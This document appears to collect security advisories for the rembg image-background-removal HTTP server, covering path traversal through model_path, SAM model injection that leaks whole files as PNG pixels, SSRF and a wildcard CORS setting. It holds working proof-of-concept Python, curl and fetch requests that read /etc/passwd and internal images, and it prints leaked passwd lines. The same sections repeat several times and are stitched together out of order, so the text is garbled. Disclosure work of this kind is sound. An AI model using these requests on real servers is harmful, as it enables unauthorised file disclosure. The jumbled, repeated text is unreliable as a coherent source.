]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

The custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.

PoC

Prerequisites

• Python 3.10+
• rembg installed with CLI support: pip install "rembg[cpu,cli]"

Step 1: Start the Vulnerable Server

Open a terminal and run:

rembg s --host 0.0.0.0 --port 7000

You should see output like:

To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000

Step 2: Send the Exploit Request

Open a second terminal and run this Python script:

import requests
import json
import urllib.parse
from io import BytesIO

# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
    0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
    0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
    0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
    0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
    0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
    0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
    0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
    0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
    0x44, 0xAE, 0x42, 0x60, 0x82
])

# Target paths to test
test_paths = [
    "/etc/passwd",           # System file (should exist)
    "/nonexistent/file.txt", # Non-existent file
]

for path in test_paths:
    print(f"\n[*] Testing path: {path}")
    
    # Build request - extras must be in URL query string
    extras = json.dumps({"model_path": path})
    url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
    
    response = requests.post(
        url,
        files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
        data={"model": "u2net_custom"},
        timeout=30
    )
    
    print(f"    Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")

Or use curl directly:

# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png

# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
  -F "model=u2net_custom" \
  -F "file=@/tmp/test.png"

Step 3: Verify in Server Logs

Go back to the first terminal where the server is running. You will see error messages like:

onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf: 
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.

onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile: 
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist

Understanding the Results

| Server Log Message | What It Proves | |-------------------|----------------| | Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime | | Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission | | Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |

The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:

1. The attacker-controlled path was passed through without validation
2. onnxruntime.InferenceSession() attempted to read the file contents
3. The file was read but rejected because /etc/passwd is not a valid ONNX protobuf

Impact

Who is Affected?

• All users running rembg s (HTTP server mode)
• Cloud deployments where rembg is exposed as an API service
• Docker containers running rembg server

Attack Scenarios

1. Information Disclosure: Attacker enumerates sensitive files (/etc/passwd, .env, config files)
2. Credential Discovery: Attacker checks for common credential files
3. Infrastructure Mapping: Attacker discovers installed software and system configuration
4. Denial of Service: Attacker attempts to load very large files, exhausting memory

What is NOT Affected?

• CLI usage (rembg i, rembg p) - users already have local file access
• Library usage - developers control the input

Recommended Fix

Option 1: Disable Custom Models for HTTP API (Recommended)

Remove custom model types from the HTTP API session list:

# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
    name for name in sessions_names 
    if not name.endswith('_custom')
]

# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
    regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
    default="u2net",
)

Option 2: Validate model_path Against Allowlist

If custom models must be supported via HTTP:

import os

ALLOWED_MODEL_DIRS = [
    os.path.expanduser("~/.u2net"),
    "/app/models",  # or your designated model directory
]

def validate_model_path(path: str) -> str:
    """Validate model path is within allowed directories."""
    abs_path = os.path.abspath(os.path.expanduser(path))
    
    for allowed_dir in ALLOWED_MODEL_DIRS:
        allowed_abs = os.path.abspath(allowed_dir)
        if abs_path.startswith(allowed_abs + os.sep):
            return abs_path
    
    raise ValueError(f"model_path must be within allowed directories")

Option 3: Document Security Considerations

At minimum, add security warnings to the documentation:

⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support

References

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• CWE-73: External Control of File Name or Path
• OWASP Path Traversal: Path Traversal Attack

The public /api/remove endpoint uses attacker-controlled extras.sam_model in both SAM filenames and GitHub download URLs. Path traversal plus a URL fragment lets an unauthenticated attacker place malicious ONNX models beside a target file. The models read the file as ONNX external data and encode its bytes into the returned PNG.

This issue affects SAM's sam_model in 2.0.81 and returns complete file contents.

Screenshot 1 — First unauthenticated request primes the path and returns HTTP 500.

Technical details

rembg/commands/s_command.py:188-223,384-397 accepts public extras JSON and passes it to new_session(). rembg/sessions/sam.py:313-355 inserts sam_model into encoder/decoder filenames and fixed GitHub URLs, then invokes pooch.retrieve() without a pinned hash.

Requests removes the URL #fragment; the local POSIX path retains it. Pooch creates attacker-selected parent directories without enforcing cache containment. The first request creates the path tree and returns HTTP 500. The identical second request downloads the attacker asset twice and stores it as both SAM models beside the target.

The graph uses a relative external tensor to read the target and maps every byte to mask pixels. rembg returns the mask as a PNG, which the attacker decodes back into the original bytes.

Screenshot 2 — The identical second request returns HTTP 200 with an encoded PNG.

Proof of concept

The attached loopback-only PoC produced:

VULNERABLE: unauthenticated SAM model injection disclosed the synthetic /flag
first-http=500 second-http=200
decoded-value=REMBG_AUDIT_SYNTHETIC_FLAG_2026_08_28

The /etc/passwd variant produced:

VULNERABLE: disclosed /etc/passwd (839 bytes)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

The decoded contents matched /etc/passwd inside the owned container. Testing used a local TLS stand-in for GitHub; no public target was contacted.

Screenshot 3 — The decoder reconstructs all 839 bytes of /etc/passwd.

Impact

An unauthenticated attacker can execute arbitrary ONNX computation and disclose complete files that rembg can reach under the required filesystem permissions. The supplied root-running container exposed both /flag and /etc/passwd.

Remediation

Allow only fixed SAM identifiers mapped server-side to fixed filenames, URLs, and pinned hashes. Reject path and URL syntax; canonicalize destinations and enforce cache containment before creating directories. Run the container as a non-root user with a read-only root filesystem.

decode_samfragment_png.py samfragment_04.py samfragment_etc_passwd_lab.py

GitHub Security Lab (GHSL) Vulnerability Report, rembg: GHSL-2024-161, GHSL-2024-162

The GitHub Security Lab team has identified potential security vulnerabilities in rembg.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-161 or GHSL-2024-162 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

rembg server is vulnerable to Server-Side Request Forgery (SSRF) and a weak default CORS configuration, which may allow an attacker website to send requests to servers on the internal network and view image responses.

Project

rembg

Tested Version

v2.0.57

Details

Issue 1: SSRF via /api/remove (GHSL-2024-161)

The /api/remove endpoint takes a URL query parameter that allows an image to be fetched, processed and returned. An attacker may be able to query this endpoint to view pictures hosted on the internal network of the rembg server.

 async def get_index(
        url: str = Query(
            default=..., description="URL of the image that has to be processed."
        ),
        commons: CommonQueryParams = Depends(),
    ):
        async with aiohttp.ClientSession() as session:
            async with session.get(url) as response:
                file = await response.read()
                return await asyncify(im_without_bg)(file, commons)

Impact

This issue may lead to Information Disclosure.

Remediation

Ensure that the IP address specified is not a local address. If resolving a domain name, ensure that the resolved IP address is not local.

Proof of Concept

curl -s "http://localhost:7000/api/remove?url=http://0.0.0.0/secret.png" -o output.png

Issue 2: CORS misconfiguration (GHSL-2024-162)

The following CORS middleware is setup incorrectly. All origins are reflected, which allows any website to send cross site requests to the rembg server and thus query any API. Even if authentication were to be enabled, allow_credentials is set to True, which would allow any website to send authenticated cross site requests.

    app.add_middleware(
        CORSMiddleware,
        allow_credentials=True,
        allow_origins=["*"],
        allow_methods=["*"],
        allow_headers=["*"],
    )

Impact

This issue may increase the severity of other vulnerabilities.

Remediation

Create an allowlist of specific endpoints that can send cross site requests to the rembg server.

Proof of Concept

An attacker website can host the following code:

const response = await fetch("http://localhost:7000/api/remove?url=https://0.0.0.0/secret.jpg");

If a victim running rembg server were to access the attacker website, the attacker website could read the file secret.jpg from the server hosted on the victim's internal network.

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-161 or GHSL-2024-162 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Summary

A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.

CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)

Details

Vulnerable Code Flow

The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).

1. Entry Point - rembg/commands/s_command.py

def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
    kwargs = {}
    if commons.extras:
        try:
            kwargs.update(json.loads(commons.extras))  # ❌ No validation
        except Exception:
            pass
    # ...
    session = new_session(commons.model, **kwargs)  # Passes arbitrary kwargs

The extras parameter is parsed as JSON and passed directly to new_session() without any validation.

2. Path Handling - rembg/sessions/u2net_custom.py

@classmethod
def download_models(cls, *args, **kwargs):
    model_path = kwargs.get("model_path")
    if model_path is None:
        raise ValueError("model_path is required")
    return os.path.abspath(os.path.expanduser(model_path))  # ❌ No path validation

The model_path is returned with tilde expansion but no validation against path traversal.

3. File Read - rembg/sessions/base.py

self.inner_session = ort.InferenceSession(
    str(self.__class__.download_models(*args, **kwargs)),  # Reads file
    # ...
)

The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.

Root Cause

